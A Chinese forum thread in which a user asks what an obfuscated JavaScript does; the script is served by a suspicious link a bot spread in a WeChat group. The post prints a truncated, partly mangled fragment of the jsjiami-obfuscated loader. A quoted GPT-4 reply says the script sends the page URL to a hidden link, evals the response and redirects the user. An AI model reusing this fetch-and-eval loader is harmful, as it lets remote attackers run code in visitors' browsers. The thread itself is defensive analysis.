今天在微信群看到机器人转发一些奇奇怪怪的链接,发现 js 还加密了,有办法知道他具体在做啥么?

查看 80|回复 3
作者:justNoBody   
源链接: https://video.piaoniu.com/tweet/16917581836318091.mp4?ci=j63sohnl&s://www.qunar.com/kong/pbray?ex_track=auto_5a3b7302
访问以后可以拿到:%
域名查了,是前不久在 alibabaglobal 买的
再访问就可以看到一个加密的 js 代码:
var version_='jsjiami.com.v7';var _0x14f009=_0x53b8;function _0x53b8(_0x262706,_0x3e358c){var _0x522920=_0x5229();return _0x53b8=function(_0x53b803,_0x3c83f2){_0x53b803=_0x53b803-0x14d;var _0x5c60b1=_0x522920[_0x53b803];if(_0x53b8['PJuQhT']===undefined){var _0x2c2073=function(_0x32ae92){var _0x53d115='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x421dfe='',_0x10fd48='';for(var _0x13e9e6=0x0,_0x245401,_0x146a02,_0x446228=0x0;_0x146a02=_0x32ae92['charAt'](_0x446228++);~_0x146a02&&(_0x245401=_0x13e9e6%0x4?_0x245401*0x40+_0x146a02:_0x146a02,_0x13e9e6++%0x4)?_0x421dfe+=String['fromCharCode'](0xff&_0x245401>>(-0x2*_0x13e9e6&0x6)):0x0){_0x146a02=_0x53d115['indexOf'](_0x146a02);}for(var _0x3b2e04=0x0,_0x2c6669=_0x421dfe['length'];_0x3b2e04>0x4,_0x877a64='hs',_0x214804='hs',function(_0x2b2ade,_0x26792f,_0x294692,_0x3a3af8,_0x1bd3e4){var _0x1aad5a=_0x53b8;_0x3a3af8='tfi',_0x877a64=_0x3a3af8+_0x877a64,_0x1bd3e4='up',_0x214804+=_0x1bd3e4,_0x877a64=_0x294692(_0x877a64),_0x214804=_0x294692(_0x214804),_0x294692=0x0;var _0x2daf5c=_0x2b2ade();while(!![]&&--_0x320e1b+_0x26792f){try{_0x3a3af8=-parseInt(_0x1aad5a(0x162,'UI*a'))/0x1*(-parseInt(_0x1aad5a(0x16a,'KZI7'))/0x2)+parseInt(_0x1aad5a(0x14d,'hYoQ'))/0x3+-parseInt(_0x1aad5a(0x152,'r1[x'))/0x4*(parseInt(_0x1aad5a(0x16b,')*GJ'))/0x5)+parseInt(_0x1aad5a(0x15b,'v!!W'))/0x6*(parseInt(_0x1aad5a(0x168,'30S!'))/0x7)+-parseInt(_0x1aad5a(0x15d,'UI*a'))/0x8+-parseInt(_0x1aad5a(0x150,'c9ms'))/0x9+-parseInt(_0x1aad5a(0x167,'30S!'))/0xa;}catch(_0x2710cd){_0x3a3af8=_0x294692;}finally{_0x1bd3e4=_0x2daf5c[_0x877a64]();if(_0x507990

x29782e, var, x2535e6, function

x86   
jsjiami.com 打开就自动登入了一个别人的号 🤣
justNoBody
OP
  
@x86 是说这个 js 在登录账号做解密么?
fangdajiang   
FROM GPT4:
当然可以。这段代码经过混淆,但我们可以大致了解其功能:
1. **初始变量声明**:
- `version_`:一个字符串变量,初始化为`'jsjiami.com.v7'`。
- `_0x14f009`:初始化为函数`_0x53b8`。
- 代码中使用了多个混淆的函数和变量名,这使得代码难以一眼看明白。
2. **函数 `_0x53b8`**:
- 这个函数似乎是某种解密或解码功能。它接受两个参数,然后通过多个解码逻辑进行处理。
- 这个函数的内部逻辑包括 base64 解码、一种 RC4 加密算法的形式以及一些字符串操作。
- 它似乎用 RC4 算法进行解密。
3. **匿名函数调用**:
- 在`_0x53b8`函数定义后,有一个立即调用的函数表达式( IIFE )。这是 JavaScript 中常用的一种模式,用于在定义函数后立即执行它。
- 这个 IIFE 似乎负责设置一些混淆或编码逻辑。
4. **网络请求逻辑**:
- 代码定义了一个`url`变量,它获取当前窗口的位置( URL )。
- `link`被初始化为一个字符串,但其值被混淆了。
- 创建了一个`XMLHttpRequest`对象`xmlHttp`。这是 JavaScript 中用于发出异步 HTTP 请求的方法。
- 然后代码设置`xmlHttp`对象向混淆的`link`发送 GET 请求,并附带当前的`url`作为参数。这似乎是一个 API 调用或对某个外部服务的调用。
- 当请求完成时(`onreadystatechange`事件),代码使用`eval`函数评估响应(如果响应不是来自可信源,使用`eval`函数可能是危险的)。然后将结果记录到控制台,并根据结果可能重定向用户。
5. **最后一行**:
- 最后一行将`version_`变量重新初始化为它开始的值。
总的来说,这段代码的目的似乎是:
1. 设置混淆和解密逻辑。
2. 向一个混淆的链接发出网络请求,并将当前窗口的 URL 作为参数。
3. 处理响应并可能根据结果重定向用户。
考虑到代码的混淆性质,特别是当它们使用`eval`函数时,处理此类脚本需要特别小心,因为它们可能执行潜在的恶意代码。
您需要登录后才可以回帖 登录 | 立即注册

返回顶部